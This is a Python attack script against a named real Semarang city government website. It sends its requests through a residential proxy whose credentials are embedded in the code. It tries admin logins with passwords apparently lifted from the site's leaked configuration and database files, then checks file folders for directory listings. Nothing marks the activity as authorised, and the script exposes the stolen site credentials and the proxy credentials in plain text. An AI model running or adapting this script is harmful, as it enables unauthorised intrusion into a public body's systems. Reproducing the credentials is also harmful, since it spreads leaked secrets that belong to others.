#!/usr/bin/env python3
import requests
import time
import urllib.parse

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10009',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10009'
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
}

# Test 1: Check if database credentials work for any login
print("[*] Testing Ion Auth login with found credentials...")
login_url = "https://pohon.disperkim.semarangkota.go.id/user/login"

# Try DB credentials as login (unlikely but worth trying)
login_attempts = [
    {"identity": "admin", "password": "sketsaweb@OK"},  # From rest config
    {"identity": "admin@admin.com", "password": "sketsaweb@OK"},
    {"identity": "disperki_pohon", "password": "icuJnZqJEdfR"},  # DB creds
]

session = requests.Session()

# Get login page first
try:
    resp = session.get(login_url, headers=headers, proxies=PROXY, verify=False, timeout=30)
    print(f"[*] Login page status: {resp.status_code}")
except Exception as e:
    print(f"[-] Error getting login: {e}")

time.sleep(2)

for attempt in login_attempts[:2]:
    try:
        print(f"\n[*] Trying: {attempt['identity']} / {attempt['password'][:5]}...")
        resp = session.post(login_url, data=attempt, headers=headers, 
                          proxies=PROXY, verify=False, timeout=30, allow_redirects=True)
        print(f"[*] Status: {resp.status_code}, Final URL: {resp.url}")
        
        if 'dashboard' in resp.url or 'auth' in resp.url.lower():
            print("[+] Possible successful login!")
        if 'error' in resp.text.lower() or 'incorrect' in resp.text.lower():
            print("[-] Login failed")
    except Exception as e:
        print(f"[-] Error: {e}")
    time.sleep(2)

# Test 2: Check for directory listing in files folders
print("\n[*] Testing directory listing...")
dirs_to_test = [
    "https://pohon.disperkim.semarangkota.go.id/files/",
    "https://pohon.disperkim.semarangkota.go.id/files/pohon/",
    "https://pohon.disperkim.semarangkota.go.id/files/history/",
    "https://pohon.disperkim.semarangkota.go.id/files/laporan/",
]

for dir_url in dirs_to_test:
    try:
        resp = requests.get(dir_url, headers=headers, proxies=PROXY, verify=False, timeout=30)
        print(f"[*] {dir_url.split('/')[-2]}: Status {resp.status_code}")
        if resp.status_code == 200 and ('Index of' in resp.text or '<dir' in resp.text.lower()):
            print(f"[+] Directory listing found!")
            print(resp.text[:500])
    except Exception as e:
        print(f"[-] Error: {e}")
    time.sleep(1)

